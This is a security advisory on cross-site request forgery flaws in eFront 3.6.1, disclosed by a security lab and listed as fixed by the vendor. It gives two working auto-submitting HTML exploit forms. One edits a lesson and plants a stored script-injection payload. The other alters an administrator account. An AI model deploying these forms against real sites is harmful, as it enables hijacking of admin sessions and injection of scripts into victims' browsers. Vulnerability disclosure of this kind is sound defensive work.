Total Tests:

Cross-site Request Forgery (CSRF) Vulnerabilities in eFront

Advisory ID:HTB22418
Product:eFront
Vendor:EPIGNOSIS Ltd
Vulnerable Versions:3.6.1 and probably prior
Tested Version:3.6.1
Advisory Publication:June 3, 2010 [without technical details]
Vendor Notification:June 3, 2010
Public Disclosure:June 17, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in eFront which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in eFront
1.1 The vulnerability exists due to insufficient validation of the request origin in administrator.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit arbitrary lessons. Due to insufficient sanitation of input data in the "name" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://[host]/administrator.php?ctg=lessons&edit_lesson=4" method="post" name="main" >
<input type="hidden" name="_qf__add_lessons_form" value="" />
<input type="hidden" name="name" value='How to be a programmer - Beginner"><script>alert(document.cookie)</script>' />
<input type="hidden" name="languages_NAME" value="english" />
<input type="hidden" name="directions_ID" value="2" />
<input type="hidden" name="course_only" value="1" />
<input type="hidden" name="active" value="0" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="show_catalog" value="0" />
<input type="hidden" name="show_catalog" value="1" />
<input type="hidden" name="price" value="0" />
<input type="hidden" name="recurring" value="0" />
<input type="hidden" name="D_duration" value="1" />
<input type="hidden" name="W_duration" value="1" />
<input type="hidden" name="M_duration" value="1" />
<input type="hidden" name="Y_duration" value="1" />
<input type="hidden" name="max_users" value="" />
<input type="hidden" name="duration" value="" />
<input type="hidden" name="copy_properties" value="0" />
<input type="hidden" name="submit_lesson" value="Submit" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in administrator.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://[host]/administrator.php?ctg=users&edit_user=test" method="post" name="main" >
<input type="hidden" name="_qf__change_users_form" value="" />
<input type="hidden" name="password_" value="" />
<input type="hidden" name="passrepeat" value="" />
<input type="hidden" name="name" value="myname" />
<input type="hidden" name="surname" value="mysurname" />
<input type="hidden" name="father" value="" />
<input type="hidden" name="sex" value="0" />
<input type="hidden" name="marital_status" value="0" />
<input type="hidden" name="birthday" value="" />
<input type="hidden" name="birthplace" value="" />
<input type="hidden" name="birthcountry" value="" />
<input type="hidden" name="mother_tongue" value="" />
<input type="hidden" name="nationality" value="" />
<input type="hidden" name="branches_main" value="0" />
<input type="hidden" name="placement" value="0" />
<input type="hidden" name="office" value="" />
<input type="hidden" name="company_internal_phone" value="" />
<input type="hidden" name="email" value="test@example.com" />
<input type="hidden" name="user_type" value="administrator" />
<input type="hidden" name="languages_NAME" value="english" />
<input type="hidden" name="timezone" value="Europe/Athens" />
<input type="hidden" name="active" value="" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="submit_personal_details" value="Submit" />
<input type="hidden" name="address" value="" />
<input type="hidden" name="city" value="" />
<input type="hidden" name="country" value="" />
<input type="hidden" name="homephone" value="" />
<input type="hidden" name="mobilephone" value="" />
<input type="hidden" name="hired_on" value="" />
<input type="hidden" name="left_on" value="" />
<input type="hidden" name="employement_type" value="" />
<input type="hidden" name="way_of_working" value="0" />
<input type="hidden" name="work_permission_data" value="" />
<input type="hidden" name="police_id_number" value="" />
<input type="hidden" name="afm" value="" />
<input type="hidden" name="doy" value="" />
<input type="hidden" name="wage" value="0" />
<input type="hidden" name="bank" value="" />
<input type="hidden" name="bank_account" value="" />
<input type="hidden" name="driving_licence" value="" />
<input type="hidden" name="national_service_completed" value="" />
<input type="hidden" name="transport" value="" />
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22418 - https://www.immuniweb.com/advisory/HTB22418 - Cross-site Request Forgery (CSRF) Vulnerabilities in eFront
[2] eFront - efrontlearning.net - eFront is an open source eLearning platform.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential